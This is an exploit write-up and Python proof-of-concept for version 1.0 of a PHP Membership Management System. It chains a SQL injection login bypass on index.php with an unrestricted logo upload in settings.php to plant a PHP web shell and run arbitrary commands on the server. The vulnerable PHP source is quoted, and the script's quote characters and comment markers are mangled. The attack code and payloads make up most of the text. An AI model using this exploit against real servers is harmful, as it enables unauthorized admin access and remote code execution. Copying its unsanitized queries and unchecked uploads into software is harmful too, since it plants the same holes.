from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os

========================================================================================================

Application: Membership Management System

Bugs: SQL injection + Insecure File Upload = Remote Code Execution

Date: 14.03.2024

Exploit Author: SoSPiro

Vendor Homepage: https://codeastro.com/author/nbadmin/

Software Link: https://codeastro.com/membership-management-system-in-php-with-source-code/

Version: 1.0

--------------------------------------------------

Vulnerability Description:

The sql injection vulnerability was found in the file Membership-PHP/index.php

The login page located at MembershipM-PHP/index.php contains a SQL Injection vulnerability.

This vulnerability allows attackers to inject malicious SQL code into the input fields used to provide login credentials.

Through this exploit, unauthorized users can gain access to sensitive data or even take control of the system.

Vulnerable Code Section:

$email = $_POST[‘email’];

$password = $_POST[‘password’];

$hashed_password = md5($password);

$sql = "SELECT * FROM users WHERE email = ‘$email’ AND password = '$hashed_password’";

The Insecure File Upload vulnerability appeared in this file MembershipM-PHP/settings.php

The MembershipM-PHP/settings.php file contains an insecure file upload vulnerability.

This allows attackers to upload unauthorized files to the server and potentially execute remote code execution (RCE) attacks.

Vulnerable Code Section:

if (isset($_FILES[‘logo’]) && $_FILES[‘logo’][‘error’] === UPLOAD_ERR_OK) {

$logoName = $_FILES[‘logo’][‘name’];

$logoTmpName = $_FILES[‘logo’][‘tmp_name’];

$logoType = $_FILES[‘logo’][‘type’];

$uploadPath = 'uploads/’;

$targetPath = $uploadPath . $logoName;

if (move_uploaded_file($logoTmpName, $targetPath)) {

$updateSettingsQuery = "UPDATE settings SET system_name = '$systemName’, logo = '$targetPath’, currency = ‘$currency’ WHERE id = 1";

$updateSettingsResult = $conn->query($updateSettingsQuery);

if ($updateSettingsResult) {

$successMessage = 'System settings updated successfully.’;} else {

$errorMessage = 'Error updating system settings: ' . $conn->error;}} else {

$errorMessage = 'Error moving uploaded file.’;}}

--------------------------------------------------

reference : https://sospiro014.github.io/Membership-Management-System-RCE

I created the python code used in the exploit by looking at this https://www.exploit-db.com/exploits/50123 source and modifying it

========================================================================================================

generate random string 8 chars

def randomGen(size=8, chars=string.ascii_lowercase):
return '’.join(random.choice(chars) for _ in range(size))

generating a random username and a random web shell file

shellFile = randomGen() + “.php”

creating a payload for the login

payload = {
"email": "[email protected]’ or 0=0 #",
"password": "a",
"login": “”
}

session = requests.Session()

changeme

urlBase = “http://172.17.86.197/” # change this target ip :)

login

url = urlBase + “index.php”
print(“=== executing SQL Injection ===”)
req = session.post(url, payload, allow_redirects=False)

check if ‘Set-Cookie’ header is present in the response

if ‘Set-Cookie’ in req.headers:
cookie = req.headers[“Set-Cookie”]
print(“=== authenticated admin cookie:” + cookie + " ===")
else:
print(“Set-Cookie header not found in the response.”)
exit()

upload shell

url = urlBase + “settings.php”

Get user input for the command to execute

cmd_input = input("Enter the command to execute: ")

PHP code to execute the command received from the user

php_code = “<?php if(isset($_REQUEST[‘cmd’])){$cmd = ($_REQUEST[‘cmd’]); system($cmd);die; }?>”

mp_encoder = MultipartEncoder(
fields={
"systemName": "Membership System",
"currency": "$",
"logo": (shellFile, php_code, “application/x-php”),
"updateSettings": “”
}
)

headers = {
"Cookie": cookie,
'Content-Type’: mp_encoder.content_type
}

print(“=== login user and uploading shell " + shellFile + " ===”)
req = session.post(url, data=mp_encoder, allow_redirects=False, headers=headers)

curl the shell for test

requestUrl = "curl " + urlBase + “uploads/” + shellFile + “?cmd=” + cmd_input
print(“=== issuing the command: " + requestUrl + " ===”)

print(“=== CURL OUTPUT ===”)
os.system(requestUrl)